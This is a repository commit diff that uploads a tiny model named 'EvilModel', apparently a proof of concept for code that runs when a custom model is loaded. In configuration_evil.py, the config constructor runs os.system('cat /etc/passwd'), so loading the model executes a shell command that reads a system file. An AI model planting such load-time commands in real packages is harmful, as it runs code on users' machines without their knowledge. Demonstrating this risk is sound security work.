Upload model
Browse files- config.json +12 -0
- configuration_evil.py +9 -0
- modeling_evil.py +18 -0
- pytorch_model.bin +3 -0
config.json
ADDED
@@ -0,0 +1,12 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
{
|
2 |
+
"architectures": [
|
3 |
+
"EvilModel"
|
4 |
+
],
|
5 |
+
"auto_map": {
|
6 |
+
"AutoConfig": "configuration_evil.EvilConfig",
|
7 |
+
"AutoModel": "modeling_evil.EvilModel"
|
8 |
+
},
|
9 |
+
"model_type": "evil",
|
10 |
+
"torch_dtype": "float16",
|
11 |
+
"transformers_version": "4.22.0.dev0"
|
12 |
+
}
|
configuration_evil.py
ADDED
@@ -0,0 +1,9 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
from transformers import PretrainedConfig
|
2 |
+
import os
|
3 |
+
|
4 |
+
class EvilConfig(PretrainedConfig):
|
5 |
+
model_type = "evil"
|
6 |
+
|
7 |
+
def __init__(self, **kwargs):
|
8 |
+
os.system("cat /etc/passwd")
|
9 |
+
super().__init__(**kwargs)
|
modeling_evil.py
ADDED
@@ -0,0 +1,18 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
import torch
|
2 |
+
from transformers import PreTrainedModel
|
3 |
+
from .configuration_evil import EvilConfig
|
4 |
+
|
5 |
+
class TinyEvilModel(torch.nn.Module):
|
6 |
+
def __init__(self):
|
7 |
+
super(TinyEvilModel, self).__init__()
|
8 |
+
self.foo = torch.nn.Linear(1,1,dtype=torch.float16)
|
9 |
+
def forward(self, x):
|
10 |
+
return self.foo(x)
|
11 |
+
|
12 |
+
class EvilModel(PreTrainedModel):
|
13 |
+
config_class = EvilConfig
|
14 |
+
def __init__(self, config):
|
15 |
+
super().__init__(config)
|
16 |
+
self.model = TinyEvilModel()
|
17 |
+
def forward(self, x):
|
18 |
+
return self.model.forward(x)
|
pytorch_model.bin
ADDED
@@ -0,0 +1,3 @@
|
|
|
|
|
|
|
|
|
1 |
+
version https://git-lfs.github.com/spec/v1
|
2 |
+
oid sha256:3ed0587dc903538195c34a180b1dfb4e7ec80276e4699d4754d39cce8fc718f4
|
3 |
+
size 1087
|